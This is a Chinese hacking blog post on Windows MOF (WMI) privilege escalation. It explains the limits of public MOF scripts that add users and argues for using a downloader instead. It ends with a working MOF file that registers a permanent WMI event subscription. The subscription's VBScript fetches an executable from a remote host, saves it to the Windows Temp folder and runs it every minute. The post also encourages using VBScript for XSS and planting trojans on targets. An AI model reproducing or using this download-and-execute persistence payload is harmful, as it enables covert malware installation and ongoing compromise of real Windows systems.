0x001
网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...
目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好
比如有个类似狗之类的拦截添加用户 这样不是直接就被干了
目标环境不确定,也不能轻易给人种马(要不然怎么死都不知道)
提权脚本存在几个问题
1 无回显 这样我们根本不知道是否执行成功(3389根本连不了,你怎么判断用户成功了 靠运气靠猜吗?)
2 不支持多语句 即使有回显 想要获取目标更多信息,难道要上传十几个mof脚本过去吗?
0x002 解决mof执行命令无回显的问题
实验发现在mof里用js或vbs来执行命令 都没法echo
比如执行net user > c:\\xx.txt 就是不成功(直接在js或vbs里所在doc命令都是正常的)
执行命令无法回显咋办呢? 所以只能通过脚本wirtefile了..
0x003 解决mof提权无法多命令的问题
和上面一样把原来的js改成vbs...就可以执行多语句了 不过echo同样没法执行
需要回显 就要操作fso来输出执行命令后的结果... 比较简单大家自己实现
0x004 为什么要用下载者?
因为GET的注入点长度有限制...如果我们需要传比较大的文件过去...
是没办法的...至于post内容的长度 也是由管理员配置决定的...
如果人家的网站不需要上传什么大文件 配置允许长度几百 你搞个蛋啊
0x005 mof提权下载者
下载者:顾名思义就是把xx下载过去并运行(科普下:发现很多人玩黑N年还不明白)
实现原理:1 先把xx下载过去 2 运行xx
下载的方法N多种...通过http下载 ftp下载等网络协议
文中使用 http方式 (抛砖引玉) 大家一定要学会举一反三
最后废话一句 强调 大家一定要学会举一反三
就如mof人家用js来执行...它就只能js吗? js功能还被限制...你就不能换一下吗
网页的XSS也是同样的道理 人家只会JS就用JS来做 你就不会用VBS来X吗?
html的脚本除了js还有vbs...微软的东西...即使再烂 它都会支持自己的系统...
IE神洞 VBS挂马... 还有米特尼克公开的那个vbs提权 记得吗?例子多的是...
office ms15022漏洞里面的代码, word宏病毒 ppt xls等漏洞都有用到vbs
你用JS来XSS来做一些事做不了时,可以去学一下vbs 可能它可以搞...
不要因为自己只会一门 就说别的垃圾 好比武林高手手里一片树叶都可以用来杀死敌人
而给菜鸟一把枪...即使敌人站在你面前...你都打不中... 树叶和枪比是不是垃圾得不行啊
这和你吹什么比较吊的语言...用它却做不出你所说垃圾语言能做的功能 打自己脸一样
经常碰到奇葩环境或目标只支持其它语言时...你只会一门语言...压根一点鸟用都没有...
没有垃圾语言...只有垃圾的人...自己会什么 就强调什么吊 装逼抬高自己的人 绝对垃圾
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText ="Set Post = CreateObject(\"Msxml2.XMLHTTP\")\nSet Shell = CreateObject(\"Wscript.Shell\")\nPost.Open \"GET\",\"http://192.168.85.130/m.exe\",0\nPost.Send()\nSet aGet = CreateObject(\"ADODB.Stream\")\naGet.Mode = 3\naGet.Type = 1\naGet.Open()\naGet.Write(Post.responseBody)\naGet.SaveToFile \"C:\\WINDOWS\\Temp\\ftp.exe\",2\nShell.Run (\"C:\\WINDOWS\\Temp\\ftp.exe\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};